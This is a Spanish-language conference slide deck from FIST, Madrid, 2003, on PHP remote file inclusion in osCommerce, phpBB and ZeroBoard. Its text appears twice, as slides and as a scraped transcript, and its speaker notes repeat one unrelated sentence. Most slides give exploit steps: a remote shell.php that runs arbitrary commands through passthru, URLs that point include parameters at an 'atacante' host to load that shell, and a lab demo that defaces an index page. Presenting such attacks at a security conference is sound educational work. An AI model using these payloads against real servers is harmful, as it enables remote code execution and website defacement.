FIST Conference October 2003 @




Inserción PHP
   © Rafael San Miguel Carrasco
Inserción PHP


                Requisitos:
                  allow_url_fopen y register_globals activadas en
                      php.ini
                  Se utiliza include () en el código PHP




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com    2
Inserción PHP

                  Productos afectados:


                    osCommerce (solución e-commerce)

                    phpBB (BBS basada en web)

                    ZeroBoard (gestor de boards)




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   3
Inserción PHP

                  En OsCommerce, include_once.php:
                  <? if (!defined($include_file . '__')) {
                     define($include_file . '__', 1);
                     include($include_file);
                  } ?>

                  Se usa frecuentemente:
              <body marginwidth="0" marginheight="0" topmargin="0"
      bottommargin="0" leftmargin="0" rightmargin="0"
      bgcolor="#FFFFFF">
              <!-- header //--><? $include_file = DIR_WS_INCLUDES .
              'header.php'; include(DIR_WS_INCLUDES .
      'include_once.php'); ?><!-- header_eof //-->
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com    4
Inserción PHP

                  En mi servidor web, shell.php:

                       <? passthru ("<comando>") ?>

                   Finalmente:
                     http://servidor_vulnerable/catalog/inludes/include_once.php?
                     include_file=http://atacante/shell.php


                    Se inserta e interpreta shell.php en el servidor
                    víctima.



© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com           5
Inserción PHP

                  En phpBB:

                  include($phpbb_root_dir . 'includes/functions_selects.‘
                  .$phpEx);

                  En mi servidor, includes/functions_selects.php:

                  http://servidor_vulnerable/install.php?phpbb_root_dir=
                  http://atacante/



© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com    6
Inserción PHP

                  Ésta es la página principal:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   7
Inserción PHP

                  Usamos include_once.php y shell.php:
                       <? passthru ("echo defaced_web! > indice.html"); ?>

                  A continuación:

                       http://10.0.1.1/include_once.php?
                       include_file=http://10.0.1.2/shell.php




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com          8
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   9
Inserción PHP
FIST Conference October 2003
© Rafael San Miguel Carrasco
Madrid, 25 October 2003

Exploiting Web Applications PHP

  • 1.
    FIST Conference October2003 @ Inserción PHP © Rafael San Miguel Carrasco
  • 2.
    Inserción PHP Requisitos:  allow_url_fopen y register_globals activadas en php.ini  Se utiliza include () en el código PHP © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 2
  • 3.
    Inserción PHP Productos afectados:  osCommerce (solución e-commerce)  phpBB (BBS basada en web)  ZeroBoard (gestor de boards) © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 3
  • 4.
    Inserción PHP En OsCommerce, include_once.php: <? if (!defined($include_file . '__')) { define($include_file . '__', 1); include($include_file); } ?> Se usa frecuentemente: <body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF"> <!-- header //--><? $include_file = DIR_WS_INCLUDES . 'header.php'; include(DIR_WS_INCLUDES . 'include_once.php'); ?><!-- header_eof //--> © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 4
  • 5.
    Inserción PHP En mi servidor web, shell.php:  <? passthru ("<comando>") ?> Finalmente: http://servidor_vulnerable/catalog/inludes/include_once.php? include_file=http://atacante/shell.php Se inserta e interpreta shell.php en el servidor víctima. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 5
  • 6.
    Inserción PHP En phpBB: include($phpbb_root_dir . 'includes/functions_selects.‘ .$phpEx); En mi servidor, includes/functions_selects.php: http://servidor_vulnerable/install.php?phpbb_root_dir= http://atacante/ © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 6
  • 7.
    Inserción PHP Ésta es la página principal: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 7
  • 8.
    Inserción PHP Usamos include_once.php y shell.php: <? passthru ("echo defaced_web! > indice.html"); ?> A continuación: http://10.0.1.1/include_once.php? include_file=http://10.0.1.2/shell.php © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 8
  • 9.
    © Rafael SanMiguel Carrasco, rsmc@soluciones-seguras.com 9
  • 10.
    Inserción PHP FIST ConferenceOctober 2003 © Rafael San Miguel Carrasco Madrid, 25 October 2003

Notas del editor

  • #3 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #4 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #5 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #6 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #7 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #8 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.